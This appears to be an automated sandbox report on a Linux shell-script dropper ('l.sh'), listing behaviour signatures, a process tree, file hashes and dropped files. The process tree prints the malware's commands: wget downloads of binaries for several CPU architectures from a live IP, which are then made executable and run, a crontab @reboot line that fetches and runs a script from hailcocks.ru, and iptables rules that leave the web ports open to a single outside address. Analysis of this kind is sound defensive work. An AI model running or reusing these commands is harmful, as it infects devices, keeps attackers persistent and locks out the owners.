Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28-12-2024 10:13

General

  • Target

    l.sh

  • Size

    1KB

  • MD5

    f1bc5c9578ad5b69e09a58a6b3721b64

  • SHA1

    b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72

  • SHA256

    c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

  • SHA512

    5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:645
    • /usr/bin/killall
      killall -9 dvrLocker
      2⤵
      • Reads runtime system information
      PID:646
    • /bin/cat
      cat /proc/mounts
      2⤵
        PID:654
      • /bin/grep
        grep tmpfs
        2⤵
          PID:655
        • /bin/grep
          grep rw
          2⤵
            PID:656
          • /bin/grep
            grep -v noexe
            2⤵
              PID:657
            • /usr/bin/cut
              cut -d " " -f 2
              2⤵
                PID:658
              • /bin/rm
                rm -rf .a .f
                2⤵
                  PID:661
                • /bin/rm
                  rm -rf .a .f
                  2⤵
                    PID:663
                  • /bin/rm
                    rm -rf .a .f
                    2⤵
                      PID:665
                    • /bin/cp
                      cp /proc/self/exe .f
                      2⤵
                      • Reads runtime system information
                      PID:668
                    • /bin/chmod
                      chmod 777 .f
                      2⤵
                      • File and Directory Permissions Modification
                      PID:673
                    • /bin/rm
                      rm -rf upnp
                      2⤵
                        PID:675
                      • /usr/bin/wget
                        wget http://103.188.82.218/t/arm -O -
                        2⤵
                          PID:677
                        • /bin/chmod
                          chmod 777 upnp
                          2⤵
                          • File and Directory Permissions Modification
                          PID:688
                        • /run/user/0/upnp
                          ./upnp tplink.arm
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Changes its process name
                          • Reads runtime system information
                          PID:689
                          • /bin/sh
                            sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                            3⤵
                            • File and Directory Permissions Modification
                            PID:690
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:692
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:693
                        • /usr/bin/wget
                          wget http://103.188.82.218/t/arm5 -O -
                          2⤵
                            PID:699
                          • /bin/chmod
                            chmod 777 upnp
                            2⤵
                            • File and Directory Permissions Modification
                            PID:719
                          • /run/user/0/upnp
                            ./upnp tplink.arm5
                            2⤵
                            • Executes dropped EXE
                            PID:720
                          • /usr/bin/wget
                            wget http://103.188.82.218/t/arm6 -O -
                            2⤵
                              PID:721
                            • /bin/chmod
                              chmod 777 upnp
                              2⤵
                              • File and Directory Permissions Modification
                              PID:722
                            • /run/user/0/upnp
                              ./upnp tplink.arm6
                              2⤵
                              • Executes dropped EXE
                              PID:723
                            • /usr/bin/wget
                              wget http://103.188.82.218/t/arm6 -O -
                              2⤵
                                PID:724
                              • /bin/chmod
                                chmod 777 upnp
                                2⤵
                                • File and Directory Permissions Modification
                                PID:725
                              • /run/user/0/upnp
                                ./upnp tplink.arm6
                                2⤵
                                • Executes dropped EXE
                                PID:726
                              • /usr/bin/wget
                                wget http://103.188.82.218/t/mips -O -
                                2⤵
                                • System Network Configuration Discovery
                                PID:727
                              • /bin/chmod
                                chmod 777 upnp
                                2⤵
                                • File and Directory Permissions Modification
                                PID:728
                              • /run/user/0/upnp
                                ./upnp tplink.mips
                                2⤵
                                • Executes dropped EXE
                                • System Network Configuration Discovery
                                PID:729
                              • /usr/bin/wget
                                wget http://103.188.82.218/t/mpsl -O -
                                2⤵
                                  PID:730
                                • /bin/chmod
                                  chmod 777 upnp
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:731
                                • /run/user/0/upnp
                                  ./upnp tplink.mpsl
                                  2⤵
                                  • Executes dropped EXE
                                  PID:732
                                • /usr/bin/wget
                                  wget http://103.188.82.218/t/ppc -O -
                                  2⤵
                                    PID:735
                                  • /bin/chmod
                                    chmod 777 upnp
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:736
                                  • /run/user/0/upnp
                                    ./upnp tplink.ppc
                                    2⤵
                                    • Executes dropped EXE
                                    PID:737
                                  • /usr/bin/wget
                                    wget http://103.188.82.218/t/x86 -O -
                                    2⤵
                                      PID:739
                                    • /bin/chmod
                                      chmod 777 upnp
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:740
                                    • /run/user/0/upnp
                                      ./upnp tplink.x86
                                      2⤵
                                      • Executes dropped EXE
                                      PID:741
                                    • /sbin/iptables
                                      iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
                                      2⤵
                                        PID:743
                                      • /sbin/iptables
                                        iptables -A INPUT -p tcp --dport 80 -s 95.214.53.205 -j ACCEPT
                                        2⤵
                                          PID:744
                                        • /sbin/iptables
                                          iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
                                          2⤵
                                            PID:745
                                          • /sbin/iptables
                                            iptables -A INPUT -p tcp --dport 8080 -s 95.214.53.205 -j ACCEPT
                                            2⤵
                                              PID:746
                                            • /sbin/iptables
                                              iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
                                              2⤵
                                                PID:747
                                              • /sbin/iptables
                                                iptables -A INPUT -p tcp --dport 443 -j DROP
                                                2⤵
                                                  PID:748
                                                • /sbin/iptables
                                                  iptables -A INPUT -p tcp --dport 80 -j DROP
                                                  2⤵
                                                    PID:749
                                                  • /sbin/iptables
                                                    iptables -A INPUT -p tcp --dport 8081 -j DROP
                                                    2⤵
                                                      PID:750
                                                    • /sbin/iptables
                                                      iptables -A INPUT -p tcp --dport 8080 -j DROP
                                                      2⤵
                                                        PID:751
                                                      • /sbin/iptables
                                                        iptables -A INPUT -p tcp --dport 8888 -j DROP
                                                        2⤵
                                                          PID:752

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /run/user/0/.f

                                                        Filesize

                                                        82KB

                                                        MD5

                                                        d89fb71971ef87948c4609f4176aa351

                                                        SHA1

                                                        c1b55e8f203e493b7f159a54fcd790f041950f19

                                                        SHA256

                                                        be74b028c309d3e0b4791727a3a0da8b3eb278c95860b55f9c42cc16dcb40fd4

                                                        SHA512

                                                        7248344009497a33f134707b3ef610b8bf1022656303d6cd9aa28b50ab903d82da498c5ac110da828e513dc1ff42942721ddbc0d2744fd0e0f4a26a24f60dc10

                                                      • /run/user/0/upnp

                                                        Filesize

                                                        73KB

                                                        MD5

                                                        f812a7b3a877f717eb6e54b843b41848

                                                        SHA1

                                                        21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

                                                        SHA256

                                                        9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

                                                        SHA512

                                                        c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

                                                      • /run/user/0/upnp

                                                        Filesize

                                                        77KB

                                                        MD5

                                                        d09db60a70d5b53b5b53ad39476fd7e8

                                                        SHA1

                                                        73a75e5e8200f77d857a7256cc0979077e29241d

                                                        SHA256

                                                        36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

                                                        SHA512

                                                        ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

                                                      • /var/spool/cron/crontabs/tmp.oestdf

                                                        Filesize

                                                        306B

                                                        MD5

                                                        698802c4c3d1355d3c6306be9acb436d

                                                        SHA1

                                                        666c2e7f887adff8afc9127050736af2500cbc03

                                                        SHA256

                                                        3ff4bbe672b7263ca89cf79b7802eb1edca6a3210b63e0ce609cc0675d9b257d

                                                        SHA512

                                                        188a29ed3a263fc88391c25b56ca6514d50dd17494b1a8aa2e5372ac75c57defce7cd0b8279b8547ed0977e5b2a42e954ab3dbec5e1412cc67714f0d38c69782